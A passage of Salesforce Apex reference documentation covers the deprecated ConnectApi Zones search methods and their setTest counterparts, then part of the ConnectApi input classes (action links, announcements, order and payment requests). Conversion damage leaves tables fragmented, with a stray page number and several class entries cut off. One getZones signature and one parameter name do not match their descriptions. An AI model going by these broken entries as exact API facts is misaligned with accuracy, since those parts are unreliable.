**Note:** With the Spring '18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers can post, answer, comment, or view existing Chatter Answers data, but support and updates are scheduled to end. We recommend transitioning to Chatter Questions. For more information, see End of Support for Chatter Answers in Spring '18.

**Namespace**

`ConnectApi`

**Zones Methods**

The following are methods for `Zones`. All methods are static.
IN THIS SECTION:

getZone(communityId, zoneId)
Get a zone.

getZones(communityId)
Get a list of zones.

getZones(communityId, pageParam, pageSize)
Get a page of zones.

searchInZone(communityId, zoneId, q, filter)
Search articles or questions in a zone.

searchInZone(communityId, zoneId, q, filter, pageParam, pageSize)
Search a page of articles or questions in a zone.

searchInZone(communityId, zoneId, q, filter, language)
Search articles or questions in a zone, and specify the language of the results.

getZone (communityId, zoneId)
Get a zone.

Note: With the Spring '18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers can post, answer, comment, or view existing Chatter Answers data, but support and updates are scheduled to end. We recommend transitioning to Chatter Questions. For more information, see End of Support for Chatter Answers in Spring '18.

API Version
29.0

Requires Chatter
No

Signature

public static ConnectApi.Zone getZone(String communityId, String zoneId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

zoneId
Type: String
The ID of a zone.

Return Value
Type: ConnectApi.Zone
**getZones(communityId)**

Get a list of zones.

Note: With the Spring ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers can post, answer, comment, or view existing Chatter Answers data, but support and updates are scheduled to end. We recommend transitioning to Chatter Questions. For more information, see End of Support for Chatter Answers in Spring ’18.

API Version

29.0

Requires Chatter

No

Signature

```java
public static ConnectApi.ZonePage getZones(String communityId)
```

Parameters

communityId
- Type: String
- Use the ID for an Experience Cloud site, internal, or null.

Return Value

Type: ConnectApi.ZonePage

**getZones(communityId, pageParam, pageSize)**

Get a page of zones.

Note: With the Spring ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers can post, answer, comment, or view existing Chatter Answers data, but support and updates are scheduled to end. We recommend transitioning to Chatter Questions. For more information, see End of Support for Chatter Answers in Spring ’18.

API Version

29.0

Requires Chatter

No

Signature

```java
public static ConnectApi.Zone getZones(String communityId, Integer pageParam, Integer pageSize)
```
Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **pageNumber**
  - Type: `Integer`
  - Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- **pageSize**
  - Type: `Integer`
  - Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value

- Type: `ConnectApi.ZonePage`

**searchInZone(communityId, zoneId, q, filter)**

Search articles or questions in a zone.

**Note:** With the Spring ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers can post, answer, comment, or view existing Chatter Answers data, but support and updates are scheduled to end. We recommend transitioning to Chatter Questions. For more information, see End of Support for Chatter Answers in Spring ’18.

API Version

- 29.0

Available to Guest Users

- 37.0

Requires Chatter

- No

Signature

```java
public static ConnectApi.ZoneSearchPage searchInZone(String communityId, String zoneId, String q, ConnectApi.ZoneSearchResultType filter)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **zoneId**
  - Type: `String`
  - The ID of a zone.
q
  Type: String
  Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

filter
  Type: ConnectApi.ZoneSearchResultType
  A ZoneSearchResultType enum value. One of the following:
  • Article—Search results contain only articles.
  • Question—Search results contain only questions.

Return Value
  Type: ConnectApi.ZoneSearchPage

Usage
  To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
  setTestSearchInZone(communityId, zoneId, q, filter, result)
  Testing ConnectApi Code

searchInZone(communityId, zoneId, q, filter, pageParam, pageSize)
Search a page of articles or questions in a zone.

⚠️ Note: With the Spring '18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers can post, answer, comment, or view existing Chatter Answers data, but support and updates are scheduled to end. We recommend transitioning to Chatter Questions. For more information, see End of Support for Chatter Answers in Spring '18.

API Version
  29.0

Available to Guest Users
  37.0

Requires Chatter
  No

Signature
  public static ConnectApi.ZoneSearchPage searchInZone(String communityId, String zoneId, String q, ConnectApi.ZoneSearchResultType filter, String pageParam, Integer pageSize)
Parameters

*communityId*
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

*zoneId*
  Type: String
  The ID of a zone.

*q*
  Type: String
  Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

*filter*
  Type: ConnectApi.ZoneSearchResultType
  A ZoneSearchResultType enum value. One of the following:
  - Article—Search results contain only articles.
  - Question—Search results contain only questions.

*pageParam*
  Type: String
  Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

*pageSize*
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value

Type: ConnectApi.ZoneSearchPage

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

  * setTestSearchInZone(communityId, zoneId, q, filter, pageParam, pageSize, result)
  * Testing ConnectApi Code

**searchInZone(communityId, zoneId, q, filter, language)**

Search articles or questions in a zone, and specify the language of the results.

**Note:** With the Spring ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers can post, answer, comment, or view existing Chatter Answers data, but support and updates are scheduled to end. We recommend transitioning to Chatter Questions. API Version
36.0

Available to Guest Users
37.0

Requires Chatter
No

Signature

public static ConnectApi.ZoneSearchPage searchInZone(String communityId, String zoneId, String q, ConnectApi.ZoneSearchResultType filter, String language)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

zoneId
Type: String
The ID of a zone.

q
Type: String
Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

filter
Type: ConnectApi.ZoneSearchResultType
• Article—Search results contain only articles.
• Question—Search results contain only questions.

language
Type: String
The language of the articles or questions. The value must be a Salesforce supported locale code.

Return Value
Type: ConnectApi.ZoneSearchPage

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

setTestSearchInZone(communityId, zoneld, q, filter, language, result)
Zones Test Methods
The following are the test methods for Zones. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

**setTestSearchInZone(communityId, zoneId, q, filter, result)**
Register a ConnectApi.ZoneSearchPage object to be returned when searchInZone(communityId, zoneId, q, filter) is called in a test context. Use the method with the same parameters or you receive an exception.

**Note:** With the Spring ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers can post, answer, comment, or view existing Chatter Answers data, but support and updates are scheduled to end. We recommend transitioning to Chatter Questions. For more information, see End of Support for Chatter Answers in Spring ’18.

API Version
29.0

Signature
```
public static Void setTestSearchInZone(String communityId, String zoneId, String q, ConnectApi.ZoneSearchResultType filter, ConnectApi.ZoneSearchPage result)
```

Parameters

**communityId**
Type: String
Use either the ID for an Experience Cloud site, internal, or null.

**zoneId**
Type: String
The ID of a zone.

**q**
Type: String
Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**filter**
Type: ConnectApi.ZoneSearchResultType
A ZoneSearchResultType enum value. One of the following:
- Article—Search results contain only articles.
- Question—Search results contain only questions.

**result**
Type: ConnectApi.ZoneSearchPage
The object containing test data.
Return Value
Type: Void

SEE ALSO:

searchInZone(communityId, zoneId, q, filter)
Testing ConnectApi Code

setTestSearchInZone(communityId, zoneId, q, filter, pageParam, pageSize, result)

Register a ConnectApi.ZoneSearchPage object to be returned when searchInZone(communityId, zoneId, q, filter, pageParam, pageSize) is called in a test context. Use the method with the same parameters or you receive an exception.

Note: With the Spring ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers can post, answer, comment, or view existing Chatter Answers data, but support and updates are scheduled to end. We recommend transitioning to Chatter Questions. For more information, see End of Support for Chatter Answers in Spring ’18.

API Version
29.0

Signature

public static Void setTestSearchInZone(String communityId, String zoneId, String q, ConnectApi.ZoneSearchResultType filter, String pageParam, Integer pageSize, ConnectApi.ZoneSearchPage result)

Parameters

communityId
Type: String
Use either the ID for an Experience Cloud site, internal, or null.

zoneId
Type: String
The ID of a zone.

q
Type: String
Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

filter
Type: ConnectApi.ZoneSearchResultType
A ZoneSearchResultType enum value. One of the following:
• Article—Search results contain only articles.
• Question—Search results contain only questions.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**result**
Type: `ConnectApi.ZoneSearchPage`
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `searchInZone(communityId, zoneId, q, filter, pageParam, pageSize)`
- `Testing ConnectApi Code`

### `setTestSearchInZone(communityId, zoneId, q, filter, language, result)`

Register a `ConnectApi.ZoneSearchPage` object to be returned when `searchInZone(communityId, zoneId, q, filter, language)` is called in a test context. Use the method with the same parameters or you receive an exception.

**Note:** With the Spring '18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers can post, answer, comment, or view existing Chatter Answers data, but support and updates are scheduled to end. We recommend transitioning to Chatter Questions. For more information, see End of Support for Chatter Answers in Spring '18.

**API Version**
36.0

**Signature**
```java
public static Void setTestSearchInZone(String communityId, String zoneId, String q, ConnectApi.ZoneSearchResultType filter, String language, ConnectApi.ZoneSearchPage result)
```

**Parameters**
- `communityId`
  Type: String
  Use either the ID for an Experience Cloud site, internal, or null.
- `zoneId`
  Type: String
  The ID of a zone.
- `q`
  Type: String
Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

```
filter
  Type: ConnectApi.ZoneSearchResultType
  • Article—Search results contain only articles.
  • Question—Search results contain only questions.
```

```
language
  Type: String
  The language of the articles or questions. The value must be a Salesforce supported locale code. In an <apex:page>, the default value is the language of the page. Otherwise, the default value is the user’s locale.
```

```
result
  Type: ConnectApi.ZoneSearchPage
  The object containing test data.
```

Return Value
Type: Void

SEE ALSO:
searchInZone(communityId, zoneId, q, filter, language)
Testing ConnectApi Code

**ConnectApi Input Classes**

Some ConnectApi methods take arguments that are instances of ConnectApi input classes.

Input classes are concrete unless marked abstract in this documentation. Concrete input classes have public constructors that have no parameters.

Some methods have parameters that are typed with an abstract class. You must pass in an instance of a concrete child class for these parameters.

Most input class properties can be set. Read-only properties are noted in this documentation.

**ConnectApi.ActionLinkDefinitionInput**

The definition of an action link. An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the feed so that users can take action to drive productivity and accelerate innovation.

**Usage**

You can use context variables in the actionUrl, headers, and requestBody properties. Use context variables to pass information about the user who executed the action link to your server-side code. Salesforce substitutes the value when the action link is executed.

These are the available context variables:
### Context Variable

<table>
<thead>
<tr>
<th>Context Variable</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>{!actionLinkId}</code></td>
<td>The ID of the action link the user executed.</td>
</tr>
<tr>
<td><code>{!actionLinkGroupId}</code></td>
<td>The ID of the action link group containing the action link the user executed.</td>
</tr>
<tr>
<td><code>{!communityId}</code></td>
<td>The ID of the site in which the user executed the action link. The value for your internal org is the empty key &quot;000000000000000000&quot;.</td>
</tr>
<tr>
<td><code>{!communityUrl}</code></td>
<td>The URL of the site in which the user executed the action link. The value for your internal org is empty string &quot;&quot;.</td>
</tr>
<tr>
<td><code>{!orgId}</code></td>
<td>The ID of the org in which the user executed the action link.</td>
</tr>
<tr>
<td><code>{!userId}</code></td>
<td>The ID of the user that executed the action link.</td>
</tr>
</tbody>
</table>

### Property

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>actionType</code></td>
<td><code>ConnectApi.ActionLinkType</code></td>
<td>Defines the type of action link. Values are:</td>
<td>Required</td>
<td>33.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <code>Api</code>—The action link calls a synchronous API at the action URL. Salesforce sets the status to <code>SuccessfulStatus</code> or <code>FailedStatus</code> based on the HTTP status code returned by your server.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <code>ApiAsync</code>—The action link calls an asynchronous API at the action URL. The action remains in a <code>PendingStatus</code> state until a third party makes a request to <code>/connect/action-links/{actionLinkId}</code> to set the status to <code>SuccessfulStatus</code> or <code>FailedStatus</code> when the asynchronous operation is complete.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <code>Download</code>—The action link downloads a file from the action URL.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <code>Ui</code>—The action link takes the user to a web page at the action URL. Use <code>Ui</code> if you need to load a page before the user performs an action, for example, to have the user provide input or view something before the action happens.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Note:** Invoking `ApiAsync` action links from an app requires a call to

2013
set the status. However, there isn’t currently a way to set the status of an action link using Apex. To set the status, use Connect REST API. See the Action Link resource in the Connect REST API Developer Guide for more information.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionUrl</td>
<td>String</td>
<td>The action link URL. For example, a Ui action link URL is a Web page. A Download action link URL is a link to the file to download. Ui and Download action link URLs are provided to clients. An Api or ApiAsync action link URL is a REST resource. Api and ApiAsync action link URLs aren’t provided to clients. Links to Salesforce can be relative. All other links must be absolute and start with https://.</td>
<td>Required</td>
<td>33.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Can be defined in an action link template.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Tip:</strong> To avoid issues due to upgrades or changing functionality in your API, we recommend using a versioned API for actionUrl, for example, <a href="https://www.example.com/api/v1/exampleResource">https://www.example.com/api/v1/exampleResource</a>. If your API isn’t versioned, you can use the expirationDate property of the ConnectApi.ActionLinkGroupDefinitionInput class to avoid issues due to upgrades or changing functionality in your API.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>excludedUserId</td>
<td>String</td>
<td>ID of a single user to exclude from performing the action. If you specify an excludedUserId, you can’t specify a userId.</td>
<td>Optional</td>
<td>33.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Can be defined in an action link template using the User Visibility and Custom User Alias fields.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Property</td>
<td>Type</td>
<td>Description</td>
<td>Required or Optional</td>
<td>Available Version</td>
</tr>
<tr>
<td>---------------</td>
<td>---------------------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
<td>----------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>groupDefault</td>
<td>Boolean</td>
<td><code>true</code> if this action is the default action link in the action link group; <code>false</code> otherwise. There can be only one default action link per action link group. The default action link gets distinct styling in the Salesforce UI.</td>
<td>Optional</td>
<td>33.0</td>
</tr>
<tr>
<td>headers</td>
<td>List&lt;ConnectApi. RequestHeader Input&gt;</td>
<td>The request headers for the <code>Api</code> and <code>ApiAsync</code> action link types. See Action Links Overview, Authentication, and Security.</td>
<td>Optional</td>
<td>33.0</td>
</tr>
<tr>
<td>labelKey</td>
<td>String</td>
<td>Key for the set of labels to show in the user interface. A set includes labels for these states: <code>NewStatus</code>, <code>PendingStatus</code>, <code>SuccessStatus</code>, <code>FailedStatus</code>. For example, if you use the <code>Approve</code> key, you get these labels: <code>Approve</code>, <code>Pending</code>, <code>Approved</code>, <code>Failed</code>. For a complete list of keys and labels, see Action Links Labels. If none of the predefined labels work for your action link, use a custom label. To use a custom label, create an action link template. See Create Action Link Templates.</td>
<td>Required</td>
<td>33.0</td>
</tr>
</tbody>
</table>
| method        | ConnectApi. HttpRequest Method | One of these HTTP methods:  
- `HttpDelete`—Returns HTTP 204 on success. Response body or output class is empty.  
- `HttpGet`—Returns HTTP 200 on success.  
- `HttpHead`—Returns HTTP 200 on success. Response body or output class is empty.  
- `HttpPatch`—Returns HTTP 200 on success or HTTP 204 if the response body or output class is empty.  
- `HttpPost`—Returns HTTP 201 on success or HTTP 204 if the response body or output class is empty. Exceptions are the batch posting resources and methods, which return HTTP 200 on success. | Required             | 33.0              |

<td>33.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Can be defined in an action link template using the <code>User Visibility</code> and <code>Custom User Alias</code> fields.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**SEE ALSO:**

`ConnectApi.ActionLinkGroupDefinitionInput`

### ConnectApi.ActionLinkGroupDefinitionInput

The definition of an action link group. All action links must belong to a group. Action links in a group are mutually exclusive and share some properties. Define stand-alone actions in their own action group.

Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from the Apex namespace that created the action link definition can read, modify, or delete the definition. In addition, the user making the call must have created the definition or have View All Data permission.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionLinks</td>
<td>List&lt;ConnectApi.ActionLinkDefinitionInput&gt;</td>
<td>The action links that make up this group. Within an action link group, action links are displayed in the order listed in the <code>actionLinks</code> property of the <code>ConnectApi.ActionLinkGroupDefinitionInput</code> class. Within a feed item, action link groups are displayed in the order specified in the...</td>
<td>Required to instantiate this action link group without a template.</td>
<td>33.0</td>
</tr>
<tr>
<td>Property</td>
<td>Type</td>
<td>Description</td>
<td>Required or Optional</td>
<td>Available Version</td>
</tr>
<tr>
<td>------------------------</td>
<td>-------------------------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
<td>----------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>actionLinkGroupIds</td>
<td></td>
<td>actionLinkGroupIds property of the ConnectApi.AssociatedActions CapabilityInput class. You can create up to three action links in a Primary group and up to four in an Overflow group.</td>
<td>Optional</td>
<td></td>
</tr>
</tbody>
</table>
| category               | ConnectApi.PlatformActionGroupCategory | Indicates the priority and relative locations of action links in an associated feed item. Values are:  
• Primary—The action link group is displayed in the body of the feed element.  
• Overflow—The action link group is displayed in the overflow menu of the feed element. | Required to instantiate this action link group without a template. To instantiate from a template, don't specify a value. | 33.0               |
| executions Allowed     | ConnectApi.ActionLinkExecutionsAllowed | Defines the number of times an action link can be executed. Values are:  
• Once—An action link can be executed only once across all users.  
• OncePerUser—An action link can be executed only once for each user.  
• Unlimited—An action link can be executed an unlimited number of times by each user. If the action link’s actionType is Api or ApiAsync, you can't use this value. | Required to instantiate this action link group without a template. To instantiate from a template, don't specify a value. | 33.0               |
| expirationDate         | Datetime                      | ISO 8601 date string, for example, 2011-02-25T18:24:31.000Z, that represents the date and time this action link group is removed from associated feed items and can no longer be executed. The expirationDate must be within one year of the creation date.  
If the action link group definition includes an OAuth token, it is a good idea to set the expiration date of the action link group to the same value as the expiration date of the OAuth token so that users can't execute the action link and get an OAuth error. | Required to instantiate this action link group without a template. Optional to instantiate from a template. | 33.0               |
<table>
<thead>
<tr>
<th>Property</th>

<td>33.0</td>
</tr>
</tbody>
</table>

**ConnectApi.ActionLinkTemplateBindingInput**

A key-value pair to fill in a binding variable value from an action link template.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>key</td>
<td>String</td>
<td>The name of the binding variable key specified in the action link template in Setup. For example, if the binding variable in the template is {!Binding.firstName}, the key is firstName</td>
<td>Required</td>
<td>33.0</td>
</tr>
</tbody>
</table>
### ConnectApi.ActivitySharingInput

Defines who a captured email or event is shared with.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>groupsToShareWith</td>
<td>List&lt;String&gt;</td>
<td>List of IDs for the groups that you share the activity with. Valid only if sharingType is MyGroups.</td>
<td>Optional</td>
<td>39.0</td>
</tr>
</tbody>
</table>
| sharingType           | ConnectApi.ActivitySharingType | Type of sharing operation. Values are:  
  - Everyone—The activity is shared with everyone.  
  - MyGroups—The activity is shared only with a selection of the context user’s groups.  
  - OnlyMe—The activity is private. | Required              | 39.0              |

### ConnectApi.AddressRequest

Address input representation for a payment method or card payment method.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>city</td>

### ConnectApi.AdjustItemInputRepresentation

A price adjustment to an OrderItemSummary. It only supports discounts, not increases.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>adjustmentType</td>
<td>String</td>
<td>Describes how the amount is calculated. It can have one of these values:</td>
<td>Required</td>
<td>49.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• AmountWithTax—Value of amount is the adjustment, including tax.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• AmountWithoutTax—Value of amount is the adjustment, not including tax. Tax is calculated on the value and added.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Percentage—Value of amount is a percentage discount. It is divided by 100, and then multiplied by the TotalPrice and TotalTaxAmount of the OrderItemSummary to determine the adjustment amount.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>amount</td>
<td>Double</td>
<td>Value used to calculate the adjustment amount, as described by the adjustmentType. It must be a negative value.</td>
<td>Required</td>
<td>49.0</td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the adjustment.</td>
<td>Optional</td>
<td>49.0</td>
</tr>
<tr>
<td>orderItemSummaryId</td>
<td>String</td>
<td>ID of the OrderItemSummary.</td>
<td>Required</td>
<td>49.0</td>
</tr>
<tr>
<td>reason</td>
<td>String</td>
<td>Reason for the adjustment. The value must match one of the picklist values on the Reason field of the OrderItemSummaryChange object.</td>
<td>Required</td>
<td>49.0</td>
</tr>
</tbody>
</table>

### ConnectApi.AdjustOrderItemSummaryInputRepresentation

A list of price adjustments to OrderItemSummaries that make up a price adjustment to an order.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>adjustItems</td>
<td>List&lt;ConnectApi.AdjustItemInputRepresentation&gt;</td>
<td>List of price adjustments to OrderItemSummaries.</td>
<td>Required</td>
<td>49.0</td>
</tr>
</tbody>
</table>
### ConnectApi.AlternativeInput

Alternative representation for an extension on a feed element.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>text</td>
<td>String</td>
<td>Text representation of the extension.</td>
<td>Required</td>
<td>40.0</td>
</tr>
<tr>
<td>thumbnailUrl</td>
<td>String</td>
<td>Thumbnail URL for the extension.</td>
<td>Optional</td>
<td>40.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>Title of the extension.</td>
<td>Optional</td>
<td>40.0</td>
</tr>
</tbody>
</table>

### ConnectApi.AnnouncementInput

An announcement.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>body</td>
<td>ConnectApi.Message.BodyInput</td>
<td>Text of the announcement.</td>
<td>Required for creating an announcement if feedItemId isn't specified. Don't specify for updating an announcement.</td>
<td>31.0</td>
</tr>
<tr>
<td>expirationDate</td>
<td>Datetime</td>
<td>The Salesforce UI displays an announcement until 11:59 p.m. on this date unless another announcement is posted first. The Salesforce UI ignores the time value in the expirationDate. However, you can use the time value to create your own display logic in your own UI.</td>
<td>Required for creating an announcement. Optional for updating an announcement.</td>
<td>31.0</td>
</tr>
<tr>
<td>feedItemId</td>
<td>String</td>
<td>ID of an AdvancedTextPost feed item that is the body of the announcement.</td>
<td>Required for creating an announcement if body isn't specified. Don't specify for updating an announcement.</td>
<td>36.0</td>
</tr>
<tr>
<td>isArchived</td>
<td>Boolean</td>
<td>Specifies whether the announcement is archived.</td>
<td>Optional</td>
<td>36.0</td>
</tr>
</tbody>
</table>
### Property: parentId
- **Type:** String
- **Description:** ID of the parent entity for the announcement, that is, a group ID when the announcement appears in a group.
- **Required or Optional:** Required for creating an announcement if feedItemId isn't specified
- **Available Version:** 36.0

### Property: sendEmails
- **Type:** Boolean
- **Description:** Specifies whether the announcement is sent as an email to all group members regardless of their email setting for the group. If Chatter emails aren't enabled for the organization, announcement emails aren't sent. Default value is false.
- **Required or Optional:** Optional for creating an announcement
- **Available Version:** 36.0

**SEE ALSO:**
- `postAnnouncement(communityId, groupId, announcement)`

#### ConnectApi.ArticleTopicAssignmentJobInput

An article and topic assignment job.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>operation</td>
<td><code>ConnectApi.ArticleTopicJobType</code></td>
<td>Type of operation to perform on articles and topics. Values are:</td>
<td>Required</td>
<td>40.0</td>
</tr>
<tr>
<td>topicNames</td>
<td><code>ConnectApi.TopicNamesInput</code></td>
<td>List of topic names to assign to or unassign from articles.</td>
<td>Required</td>
<td>40.0</td>
</tr>
</tbody>
</table>

**ConnectApi.AssociatedActionsCapabilityInput**

A list of action link groups to associate with a feed element. To associate an action link group with a feed element, the call must be made from the Apex namespace that created the action link definition. In addition, the user making the call must have created the definition or have View All Data permission.

An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and
header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the feed so that users can take action to drive productivity and accelerate innovation.

### actionLinkGroupIds

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionLinkGroupIds</td>
<td>List&lt;String&gt;</td>
<td>The action link group IDs to associate with the feed element. Associate one Primary and up to 10 total action link groups to a feed item. Action link groups are returned in the order specified in this property. An action link group ID is returned from a call to <code>ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)</code>.</td>
<td>Required</td>
<td>33.0</td>
</tr>
</tbody>
</table>

- `ConnectApi.FeedElementCapabilitiesInput`

### ConnectApi.AssociateRecordsWithRecipientInput

Records associated with the survey invitation.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>associateRecordIds</td>
<td>List&lt;String&gt;</td>
<td>ID of the associated records.</td>
<td>Required</td>
<td>50.0</td>
</tr>
<tr>
<td>recipientId</td>
<td>String</td>
<td>Participant ID with whose invitation the record should be associated.</td>
<td>Required</td>
<td>50.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `ConnectApi.SurveyInvitationEmailInput`

### ConnectApi.AudienceCriteriaInput

Custom recommendation audience criteria type.

This class is abstract and has no public constructor. You can make an instance only of a subclass.

Superclass for:
- `ConnectApi.CustomListAudienceCriteriaInput`
- `ConnectApi.NewUserAudienceCriteriaInput`
### ConnectApi.RecommendationAudienceInput

Personalization audience criterion.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
</table>
| type             | ConnectApi.RecommendationAudienceCriteriaType | Specifies the custom recommendation audience criteria type. One of these values:  
• CustomList—A custom list of users makes up the audience.  
• MaxDaysInCommunity—New members make up the audience. | Optional | 36.0 |

**SEE ALSO:**  
ConnectApi.RecommendationAudienceInput

### ConnectApi.AudienceCriterionInput

Personalization audience criterion.

<table>

<td>51.0</td>
</tr>
</tbody>
</table>

### ConnectApi.AuthorizationReversalRequest

Authorization reversal input consumed by authorization reversal service.

Subclass of `ConnectApi.BaseRequest`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>accountId</code></td>
<td><code>String</code></td>
<td>Account for the payment authorization reversal. Must match the payment authorization’s account.</td>
<td>51.0</td>
<td></td>
</tr>
<tr>
<td><code>amount</code></td>
<td><code>Double</code></td>
<td>Amount of adjustment applied to the payment authorization.</td>
<td>51.0</td>
<td></td>
</tr>
<tr>
<td><code>comments</code></td>
<td><code>String</code></td>
<td>Users can add comments to provide additional details about a record. Maximum of 1,000 characters.</td>
<td>51.0</td>
<td></td>
</tr>
<tr>
<td><code>effectiveDate</code></td>
<td><code>Datetime</code></td>
<td>Date that the adjustment takes effect on the authorization.</td>
<td>51.0</td>
<td></td>
</tr>
</tbody>
</table>

### ConnectApi.AuthorizationRequest

Payment Authorization input consumed by Payment Authorization service.

Subclass of `ConnectApi.BaseRequest`.
<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
